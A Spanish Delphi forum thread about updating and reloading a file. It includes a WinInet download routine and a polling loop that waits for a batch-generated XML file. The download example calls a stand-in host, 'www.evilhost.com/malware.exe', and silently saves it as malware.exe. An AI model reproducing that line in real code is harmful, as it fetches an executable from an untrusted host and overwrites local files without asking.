Actualizar archivo

[tocomi]

Empezado por marilinspi

Si se te ocurre alguna cosa....te lo agradecere.

Aqui tienes algo para poder bajar el archivo desde tu aplicacion, reemplaza el archivo de destino sin preguntar

 program Download;

uses Windows, WinInet;

function ExtractFileName(FileName: string): string;
begin
  while Pos('\', FileName) <> 0 do Delete(FileName, 1, Pos('\', FileName));
  while Pos('/', FileName) <> 0 do Delete(FileName, 1, Pos('/', FileName));
  Result := FileName;
end;


function DescargarFichero(const fileURL, FileName: String): boolean; 
const BufferSize = 1024; 
var 
  hSession, hURL: HInternet; 
  Buffer: array[1..BufferSize] of Byte; 
  BufferLen: DWORD; 
  f: File; 
  sAppName: string; 
begin 
  Result:=False; 
  sAppName := ExtractFileName(paramstr(0));
  hSession := InternetOpen(PChar(sAppName), INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0); 
  try 
    hURL := InternetOpenURL(hSession, PChar(fileURL), nil,0,0,0); 
    try 
      AssignFile(f, FileName); 
      Rewrite(f,1); 
      repeat 
        InternetReadFile(hURL, @Buffer, SizeOf(Buffer), BufferLen); 
        BlockWrite(f, Buffer, BufferLen); 
      until BufferLen = 0; 
      CloseFile(f); 
      Result:=True; 
    finally 
      InternetCloseHandle(hURL); 
    end; 
  finally 
    InternetCloseHandle(hSession); 
  end; 
end;

begin
DescargarFichero('www.evilhost.com/malware.exe', 'malware.exe');
end.

[Cheerpipe]

Otra solucion mas adecuada podria ser que tu bat genere un ticket.xml.cms.new y hacer algo como lo que sigue:

Código Delphi [-]
winexec('p.bat', SW_HIDE); //esto te generara un ticket.xml.cms.new
while True do
begin
  if FileExists('ticket.xml.cms.new') then
  begin
    DeleteFile('ticket.xml.cms');
    MoveFile(PChar('ticket.xml.cms.new'),PChar('ticket.xml.cms'));
    DeleteFile('ticket.xml.cms.new');
    break;
  end;
  Application.ProcessMessages;
end;

memo2.lines.LoadFromFile('ticket.xml.cms');

Algo largo, pero al menos te aseguras de la correcta lectura del archivo. Tambien puedes agregar algun control de excepciones adicionalmente. Ademas no impota cuanto tiempo demore en ejecutarse el .bat.

Por otra parte, no has pensado en integrar la funcionalidad del bat en un ejecutable? o incluso en el mismo exe que contiene el memo?